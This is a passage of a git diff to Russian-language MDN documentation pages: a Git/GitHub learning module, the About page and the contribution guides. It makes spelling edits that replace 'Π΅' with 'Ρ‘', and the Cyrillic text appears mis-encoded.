<p>Π‘ΠšΠ’ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΠ²Π°ΡŽΡ‚ инструмСнты для Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ всСх Π²Ρ‹ΡˆΠ΅ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Ρ… Π·Π°Π΄Π°Ρ‡. <a href="https://git-scm.com/">Git</a> являСтся ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠΌ Π‘ΠšΠ’, Π° <a href="https://github.com/">GitHub</a> - это сайт, ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΠ²Π°ΡŽΡ‰ΠΈΠΉ Π²Π΅Π±-интСрфСйс для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с Π³ΠΈΡ‚, Π° Ρ‚Π°ΠΊΠΆΠ΅ мноТСство ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Ρ… инструмСнтов для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с Π³ΠΈΡ‚-рСпозиториями Π»ΠΈΡ‡Π½ΠΎ ΠΈΠ»ΠΈ Π² ΠΊΠΎΠΌΠ°Π½Π΄Π°Ρ…, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ фиксация ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ с ΠΊΠΎΠ΄ΠΎΠΌ, инструмСнты для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ ΠΊΠΎΠ΄Π°, инструмСнты для управлСния созданиСм ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚Π°, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π½Π°Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π·Π°Π΄Π°Ρ‡ ΠΈ ΠΈΡ… статусов, ΠΈ Ρ‚.Π΄.</p>
<div class="blockIndicator note">
-<p><strong>Π’Π°ΠΆΠ½ΠΎ</strong>: Π“Π˜Π’ Π½Π° самом Π΄Π΅Π»Π΅ - распрСдСлСнная систСма контроля вСрсий, это Π·Π½Π°Ρ‡ΠΈΡ‚ Ρ‡Ρ‚ΠΎ полная копия рСпозитория, содСрТащая всю ΠΊΠΎΠ΄ΠΎΠ²ΡƒΡŽ Π±Π°Π·Ρƒ сохраняСтся Π½Π° Ρ‚Π²ΠΎΠΉ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€ (ΠΈ ΠΊΠΎΠ³ΠΎ-Π»ΠΈΠ±ΠΎ Π΅Ρ‰Π΅). Π’Ρ‹ вносишь измСнСния Π² свою копию ΠΈ Π·Π°Ρ‚Π΅ΠΌ ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΠ΅ΡˆΡŒ эти измСнСния ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ Π½Π° сСрвСр, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ администратор Ρ€Π΅ΡˆΠΈΡ‚ ΡΠΎΠ΅Π΄ΠΈΠ½ΡΡ‚ΡŒΒ Π»ΠΈ Ρ‚Π²ΠΎΠΈ измСнСния  с ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»ΠΎΠΌ.Β </p>
+<p><strong>Π’Π°ΠΆΠ½ΠΎ</strong>: Π“Π˜Π’ Π½Π° самом Π΄Π΅Π»Π΅ - распрСдСлённая систСма контроля вСрсий, это Π·Π½Π°Ρ‡ΠΈΡ‚ Ρ‡Ρ‚ΠΎ полная копия рСпозитория, содСрТащая всю ΠΊΠΎΠ΄ΠΎΠ²ΡƒΡŽ Π±Π°Π·Ρƒ сохраняСтся Π½Π° Ρ‚Π²ΠΎΠΉ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€ (ΠΈ ΠΊΠΎΠ³ΠΎ-Π»ΠΈΠ±ΠΎ Π΅Ρ‰Ρ‘). Π’Ρ‹ вносишь измСнСния Π² свою копию ΠΈ Π·Π°Ρ‚Π΅ΠΌ ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΠ΅ΡˆΡŒ эти измСнСния ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ Π½Π° сСрвСр, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ администратор Ρ€Π΅ΡˆΠΈΡ‚ ΡΠΎΠ΅Π΄ΠΈΠ½ΡΡ‚ΡŒΒ Π»ΠΈ Ρ‚Π²ΠΎΠΈ измСнСния  с ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»ΠΎΠΌ.Β </p>
</div>
<h2 id="ΠŸΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²ΠΊΠ°">ΠŸΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²ΠΊΠ°</h2>
@@ -38,7 +38,7 @@ original_slug: Learn/Tools_and_testing/GitHub
<ul>
<li>ΠšΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€ с установлСнной вСрсиСй GitΒ (посмотри <a href="https://git-scm.com/downloads">страницу Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ Git</a>).</li>
<li>ΠŸΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с Git. Π’ зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ ΠΊΠ°ΠΊ Ρ‚Ρ‹ ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡ΠΈΡ‚Π°Π΅ΡˆΡŒ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ, моТСшь ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <a href="https://git-scm.com/downloads/guis/">Git-ΠΊΠ»ΠΈΠ΅Π½Ρ‚Ρ‹ с графичСским интСрфСйсом</a>Β (ΠΌΡ‹ Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡƒΠ΅ΠΌΒ GitHub Desktop, SourceTree ΠΈΠ»ΠΈΒ Git Kraken) ΠΈΠ»ΠΈ просто ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°ΠΉ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠΊΠ½ΠΎ Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π°Π»Π°. Если чСстно, Π±ΡƒΠ΄Π΅Ρ‚ вСсьма ΠΏΠΎΠ»Π΅Π·Π½ΠΎ для тСбя ΡƒΠ·Π½Π°Ρ‚ΡŒ основы использования git-ΠΊΠΎΠΌΠ°Π½Π΄ Π² Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π°Π»Π΅, Π΄Π°ΠΆΠ΅ Ссли Ρ‚Ρ‹ ΡΠΎΠ±ΠΈΡ€Π°Π΅ΡˆΡŒΡΡ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Ρ‡Π΅Ρ€Π΅Π· графичСский интСрфСйс.</li>
- <li><a href="https://github.com/join">Аккаунт Π½Π° GitHub</a>. Если Ρƒ тСбя Π΅Ρ‰Π΅ Π΅Π³ΠΎ Π½Π΅Ρ‚, зарСгистрируйся сСйчас ΠΏΠΎ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ ссылкС.</li>
+ <li><a href="https://github.com/join">Аккаунт Π½Π° GitHub</a>. Если Ρƒ тСбя Π΅Ρ‰Ρ‘ Π΅Π³ΠΎ Π½Π΅Ρ‚, зарСгистрируйся сСйчас ΠΏΠΎ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ ссылкС.</li>
</ul>
<p>Π§Ρ‚ΠΎ касаСтся ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… Π·Π½Π°Π½ΠΈΠΉ, Π²Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ Ρ€Π°Π·Π±ΠΈΡ€Π°Ρ‚ΡŒΡΡ Π²Β Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅, Git / GitHub ΠΈΠ»ΠΈ VCS, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈΡΡ‚ΡƒΠΏΠΈΡ‚ΡŒ ΠΊ ΡΡ‚ΠΎΠΌΡƒΒ ΠΌΠΎΠ΄ΡƒΠ»ΡŽ. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, рСкомСндуСтся, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ Ρ€Π°Π·Π±ΠΈΡ€Π°Π»ΠΈΡΡŒ Π² составлСнии ΠΊΠΎΠ΄Π°, ΠΌΠΎΠ³Π»ΠΈ Π΅Π³ΠΎ ΠΏΠΈΡΠ°Ρ‚ΡŒ ΠΈ Ρ‡ΠΈΡ‚Π°Ρ‚ΡŒ, Π° Ρ‚Π°ΠΊΠΆΠ΅ сохранили ΠΏΠ°Ρ€Ρƒ строчСк ΠΊΠΎΠ΄Π°Β Π² своих рСпозиториях!</p>
diff --git a/files/ru/mdn/about/index.html b/files/ru/mdn/about/index.html
index 684d730f7f..6ff3fbd3a1 100644
--- a/files/ru/mdn/about/index.html
+++ b/files/ru/mdn/about/index.html
@@ -66,7 +66,7 @@ translation_of: MDN/About
<p>НикакиС Π½ΠΎΠ²Ρ‹Π΅ страницы Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ созданы с использованиСм Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½Ρ‹Ρ… Π»ΠΈΡ†Π΅Π½Π·ΠΈΠΉ.</p>
</div>
-<p><strong>АвторскоС ΠΏΡ€Π°Π²ΠΎ Π½Π° прСдоставлСнныС ΠΌΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π»Ρ‹ остаСтся Ρƒ Π°Π²Ρ‚ΠΎΡ€Π°, Ссли Π°Π²Ρ‚ΠΎΡ€ Π½Π΅ присваиваСт Π΅Π³ΠΎ ΠΊΠΎΠΌΡƒ-Π»ΠΈΠ±ΠΎ Π΅Ρ‰Ρ‘</strong>.</p>
+<p><strong>АвторскоС ΠΏΡ€Π°Π²ΠΎ Π½Π° прСдоставлСнныС ΠΌΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π»Ρ‹ остаётся Ρƒ Π°Π²Ρ‚ΠΎΡ€Π°, Ссли Π°Π²Ρ‚ΠΎΡ€ Π½Π΅ присваиваСт Π΅Π³ΠΎ ΠΊΠΎΠΌΡƒ-Π»ΠΈΠ±ΠΎ Π΅Ρ‰Ρ‘</strong>.</p>
<p>Если Ρƒ вас Π΅ΡΡ‚ΡŒ ΠΊΠ°ΠΊΠΈΠ΅-Π»ΠΈΠ±ΠΎ вопросы ΠΈΠ»ΠΈ прСдлоТСния по ΠΏΠΎΠ²ΠΎΠ΄Ρƒ поднятого здСсь вопроса, поТалуйста, ΡΠ²ΡΠΆΠΈΡ‚Π΅ΡΡŒ с <a class="external" href="mailto:eshepherd@mozilla.com" rel="nofollow" title="mailto:eshepherd@mozilla.com">Eric Shepherd</a>.</p>
diff --git a/files/ru/mdn/contribute/feedback/index.html b/files/ru/mdn/contribute/feedback/index.html
index 31bab35781..3c51c32efb 100644
--- a/files/ru/mdn/contribute/feedback/index.html
+++ b/files/ru/mdn/contribute/feedback/index.html
@@ -25,7 +25,7 @@ translation_of: MDN/Contribute/Feedback
<li>НаТмитС ΠΊΠ½ΠΎΠΏΠΊΡƒ <strong>ΠžΠΏΡƒΠ±Π»ΠΈΠΊΠΎΠ²Π°Ρ‚ΡŒ</strong>, ΠΊΠΎΠ³Π΄Π° Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΡ‚Π΅ Π²Π½ΠΎΡΠΈΡ‚ΡŒ измСнСния.</li>
</ol>
-<p>ДокумСнтация здСсь Π² wikiΒ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅, ΠΎΠ½Π° курируСтся ΠΊΠΎΠΌΠ°Π½Π΄ΠΎΠΉ Π²ΠΎΠ»ΠΎΠ½Ρ‚Π΅Ρ€ΠΎΠ² ΠΈ ΠΎΠΏΠ»Π°Ρ‡ΠΈΠ²Π°Π΅ΠΌΡ‹Ρ… сотрудников, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ Π½Π΅ ΡΡ‚Π΅ΡΠ½ΡΠΉΡ‚Π΅ΡΡŒ β€” ваша Π³Ρ€Π°ΠΌΠΌΠ°Ρ‚ΠΈΠΊΠ° Π½Π΅ обязана Π±Ρ‹Ρ‚ΡŒ идСальной. Если Π²Ρ‹ сдСлаСтС ΠΎΡˆΠΈΠ±ΠΊΡƒ - ΠΌΡ‹ Π΅Ρ‘ устраним; Π±Π΅Π· Π²Ρ€Π΅Π΄Π°!</p>
+<p>ДокумСнтация здСсь Π² wikiΒ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅, ΠΎΠ½Π° курируСтся ΠΊΠΎΠΌΠ°Π½Π΄ΠΎΠΉ Π²ΠΎΠ»ΠΎΠ½Ρ‚Ρ‘Ρ€ΠΎΠ² ΠΈ ΠΎΠΏΠ»Π°Ρ‡ΠΈΠ²Π°Π΅ΠΌΡ‹Ρ… сотрудников, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ Π½Π΅ ΡΡ‚Π΅ΡΠ½ΡΠΉΡ‚Π΅ΡΡŒ β€” ваша Π³Ρ€Π°ΠΌΠΌΠ°Ρ‚ΠΈΠΊΠ° Π½Π΅ обязана Π±Ρ‹Ρ‚ΡŒ идСальной. Если Π²Ρ‹ сдСлаСтС ΠΎΡˆΠΈΠ±ΠΊΡƒ - ΠΌΡ‹ Π΅Ρ‘ устраним; Π±Π΅Π· Π²Ρ€Π΅Π΄Π°!</p>
<p>Для получСния Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ Π²ΠΊΠ»Π°Π΄Π΅ Π²Β MDN, смотритС:</p>
diff --git a/files/ru/mdn/contribute/getting_started/index.html b/files/ru/mdn/contribute/getting_started/index.html
index 24ee690e17..a7aa354333 100644
--- a/files/ru/mdn/contribute/getting_started/index.html
+++ b/files/ru/mdn/contribute/getting_started/index.html
@@ -31,17 +31,17 @@ translation_of: MDN/Contribute/Getting_started
<p>Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²Ρ‹ Ρ€Π΅ΡˆΠΈΠ»ΠΈ, ΠΊΠ°ΠΊΠΎΠ³ΠΎ Ρ€ΠΎΠ΄Π° Π·Π°Π΄Π°Ρ‡Π΅ΠΉ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π·Π°Π½ΡΡ‚ΡŒΡΡ, Π½Π°ΠΉΠ΄ΠΈΡ‚Π΅Β ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΡΡ‰ΡƒΡŽ страницу, ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΊΠΎΠ΄Π° ΠΈ Ρ‚.Π΄. - ΠΈ Π²ΠΏΠ΅Ρ€Ρ‘Π΄!</p>
-<p>НС Π±Π΅ΡΠΏΠΎΠΊΠΎΠΉΡ‚Π΅ΡΡŒ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄ΠΎΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ ошибки. Π”Ρ€ΡƒΠ³ΠΈΠ΅ участники MDN здСсь, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΌΠΎΡ‡ΡŒΒ ΠΈΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ ΠΌΠ΅Π»ΠΊΠΈΠ΅ Π½Π΅Π΄ΠΎΡ‡Π΅Ρ‚Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π’Ρ‹ ΠΌΠΎΠ³Π»ΠΈ ΠΏΡ€ΠΎΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ. Если появятся вопросы Π² процСссС Ρ€Π°Π±ΠΎΡ‚Ρ‹, заглянитС Π½Π° страницу <a href="/ru/docs/MDN/Community">БообщСства</a> для получСния ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΈΠ»ΠΈ Π² списки рассылок ΠΈ Ρ‡Π°Ρ‚Ρ‹, Π³Π΄Π΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΎΡ‚Π²Π΅Ρ‚Ρ‹.</p>
+<p>НС Π±Π΅ΡΠΏΠΎΠΊΠΎΠΉΡ‚Π΅ΡΡŒ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄ΠΎΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ ошибки. Π”Ρ€ΡƒΠ³ΠΈΠ΅ участники MDN здСсь, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΌΠΎΡ‡ΡŒΒ ΠΈΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ ΠΌΠ΅Π»ΠΊΠΈΠ΅ Π½Π΅Π΄ΠΎΡ‡Ρ‘Ρ‚Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π’Ρ‹ ΠΌΠΎΠ³Π»ΠΈ ΠΏΡ€ΠΎΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ. Если появятся вопросы Π² процСссС Ρ€Π°Π±ΠΎΡ‚Ρ‹, заглянитС Π½Π° страницу <a href="/ru/docs/MDN/Community">БообщСства</a> для получСния ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΈΠ»ΠΈ Π² списки рассылок ΠΈ Ρ‡Π°Ρ‚Ρ‹, Π³Π΄Π΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΎΡ‚Π²Π΅Ρ‚Ρ‹.</p>
<div class="note">
<p><strong>Π’Π½ΠΈΠΌΠ°Π½ΠΈΠ΅: </strong>Если Π’Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΠΎΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ с Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ MDN ΠΏΠ΅Ρ€Π΅Π΄ Ρ‚Π΅ΠΌ, ΠΊΠ°ΠΊ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Β«ΠΏΠΎ-настоящСму», ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΡ‚Ρ€Π΅Π½ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π½Π° страницС Π² <strong><a href="/ru/docs/Sandbox">ΠŸΠ΅ΡΠΎΡ‡Π½ΠΈΡ†Π΅</a></strong>. ΠŸΠΎΠΆΠ°Π»ΡƒΠΉΡΡ‚Π°, экспСримСнтируйтС Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚Π°ΠΌ. НС Π΄Π΅Π»Π°ΠΉΡ‚Π΅ Π½Π΅Π½ΡƒΠΆΠ½Ρ‹Ρ… ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ Π½Π° ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹Ρ… страницах, Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ получится.Β Π­Ρ‚ΠΎ добавляСт Ρ€Π°Π±ΠΎΡ‚Ρ‹ Π΄Ρ€ΡƒΠ³ΠΈΠΌ.</p>
</div>
-<p>Когда Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΡ‚Π΅, смСло приступайтС ΠΊ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ Π·Π°Π΄Π°Ρ‡Π΅ ΠΈΠ»ΠΈ посмотритС Ρ‡ΡƒΡ‚ΡŒ Π½ΠΈΠΆΠ΅, <a href="#Π”Ρ€ΡƒΠ³ΠΈΠ΅_Π²Π΅Ρ‰ΠΈ_ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅_Π²Ρ‹_ΠΌΠΎΠΆΠ΅Ρ‚Π΅_Π΄Π΅Π»Π°Ρ‚ΡŒ_Π½Π°_MDN">ΠΊΠ°ΠΊΠΈΠ΅ Π΅Ρ‰Π΅ Π²Π΅Ρ‰ΠΈ ΠΌΠΎΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π½Π° MDN</a>.</p>
+<p>Когда Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΡ‚Π΅, смСло приступайтС ΠΊ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ Π·Π°Π΄Π°Ρ‡Π΅ ΠΈΠ»ΠΈ посмотритС Ρ‡ΡƒΡ‚ΡŒ Π½ΠΈΠΆΠ΅, <a href="#Π”Ρ€ΡƒΠ³ΠΈΠ΅_Π²Π΅Ρ‰ΠΈ_ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅_Π²Ρ‹_ΠΌΠΎΠΆΠ΅Ρ‚Π΅_Π΄Π΅Π»Π°Ρ‚ΡŒ_Π½Π°_MDN">ΠΊΠ°ΠΊΠΈΠ΅ Π΅Ρ‰Ρ‘ Π²Π΅Ρ‰ΠΈ ΠΌΠΎΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π½Π° MDN</a>.</p>
<h2 id="Π’ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Π΅_Ρ‚ΠΈΠΏΡ‹_Π·Π°Π΄Π°Ρ‡">Π’ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Π΅ Ρ‚ΠΈΠΏΡ‹ Π·Π°Π΄Π°Ρ‡</h2>
-<p>Π•ΡΡ‚ΡŒ нСсколько Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Ρ€Π°Π·Π²ΠΈΡ‚ΠΈΠ΅ MDN, Π² зависимости ΠΎΡ‚ ΠΊΠ²Π°Π»ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ ΠΈ интСрСсов. Π”Π°ΠΆΠ΅ Ссли Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π·Π°Π΄Π°Ρ‡ΠΈ покаТутся слоТными, Ρƒ нас Π΅ΡΡ‚ΡŒ ΠΌΠ½ΠΎΠ³ΠΎ Π΄Ρ€ΡƒΠ³ΠΈΡ…, простых ΠΈ доступных. На Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π° ΠΈΠ· Π½ΠΈΡ… ΡƒΠΉΠ΄Π΅Ρ‚ Π½Π΅ Π±ΠΎΠ»Π΅Π΅ пяти ΠΌΠΈΠ½ΡƒΡ‚ (Π° Ρ‚ΠΎ ΠΈ мСньшС!). Рядом с Π·Π°Π΄Π°Ρ‡Π΅ΠΉ ΠΈ Π΅Π΅ ΠΊΡ€Π°Ρ‚ΠΊΠΈΠΌ описаниСм Π’Ρ‹ Π½Π°ΠΉΠ΄Π΅Ρ‚Π΅ ΠΏΡ€ΠΈΠ±Π»ΠΈΠ·ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ врСмя, Π·Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Ρ€Π΅ΡˆΠ°ΡŽΡ‚ΡΡ Π·Π°Π΄Π°Ρ‡ΠΈ Π΄Π°Π½Π½ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ°.</p>
+<p>Π•ΡΡ‚ΡŒ нСсколько Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Ρ€Π°Π·Π²ΠΈΡ‚ΠΈΠ΅ MDN, Π² зависимости ΠΎΡ‚ ΠΊΠ²Π°Π»ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ ΠΈ интСрСсов. Π”Π°ΠΆΠ΅ Ссли Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π·Π°Π΄Π°Ρ‡ΠΈ покаТутся слоТными, Ρƒ нас Π΅ΡΡ‚ΡŒ ΠΌΠ½ΠΎΠ³ΠΎ Π΄Ρ€ΡƒΠ³ΠΈΡ…, простых ΠΈ доступных. На Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π° ΠΈΠ· Π½ΠΈΡ… ΡƒΠΉΠ΄Ρ‘Ρ‚ Π½Π΅ Π±ΠΎΠ»Π΅Π΅ пяти ΠΌΠΈΠ½ΡƒΡ‚ (Π° Ρ‚ΠΎ ΠΈ мСньшС!). Рядом с Π·Π°Π΄Π°Ρ‡Π΅ΠΉ ΠΈ Π΅Ρ‘ ΠΊΡ€Π°Ρ‚ΠΊΠΈΠΌ описаниСм Π’Ρ‹ Π½Π°ΠΉΠ΄Ρ‘Ρ‚Π΅ ΠΏΡ€ΠΈΠ±Π»ΠΈΠ·ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ врСмя, Π·Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Ρ€Π΅ΡˆΠ°ΡŽΡ‚ΡΡ Π·Π°Π΄Π°Ρ‡ΠΈ Π΄Π°Π½Π½ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ°.</p>
<h3 id="Π’Π°Ρ€ΠΈΠ°Π½Ρ‚_1_МнС_нравятся_слова">Π’Π°Ρ€ΠΈΠ°Π½Ρ‚ 1: МнС нравятся слова</h3>
@@ -89,7 +89,7 @@ translation_of: MDN/Contribute/Getting_started
<li><font><font>Бвязь с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ Π»ΠΎΠΊΠ°Π»ΠΈΠ·Π°Ρ‚ΠΎΡ€Π°ΠΌΠΈ, пСрСчислСнными Π² </font></font><a href="/ru/docs/Project:MDN/Localizing/Localization_projects"><font><font>Π»ΠΎΠΊΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΎΠ²</font></font></a><font><font> (30 ΠΌΠΈΠ½ΡƒΡ‚)</font></font></li>
</ul>
-<h3 id="Π’Π°Ρ€ΠΈΠ°Π½Ρ‚_5_Π―_нашСл_ошибки_Π½ΠΎ_Π½Π΅_знаю_ΠΊΠ°ΠΊ_ΠΈΡ…_ΠΈΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ">Π’Π°Ρ€ΠΈΠ°Π½Ρ‚ 5: Π― нашСл ошибки, Π½ΠΎ Π½Π΅ знаю, ΠΊΠ°ΠΊ ΠΈΡ… ΠΈΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ</h3>
+<h3 id="Π’Π°Ρ€ΠΈΠ°Π½Ρ‚_5_Π―_Π½Π°ΡˆΡ‘Π»_ошибки_Π½ΠΎ_Π½Π΅_знаю_ΠΊΠ°ΠΊ_ΠΈΡ…_ΠΈΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ">Π’Π°Ρ€ΠΈΠ°Π½Ρ‚ 5: Π― Π½Π°ΡˆΡ‘Π» ошибки, Π½ΠΎ Π½Π΅ знаю, ΠΊΠ°ΠΊ ΠΈΡ… ΠΈΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ</h3>
<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΎΠΎΠ±Ρ‰ΠΈΡ‚ΡŒΒ <a class="external" href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Mozilla%20Developer%20Network">Π½Π°ΠΌ ΠΎ Π½Π°ΠΉΠ΄Π΅Π½Π½Ρ‹Ρ… ΠΎΡˆΠΈΠ±ΠΊΠ°Ρ…</a>. (5 ΠΌΠΈΠ½ΡƒΡ‚)</p>
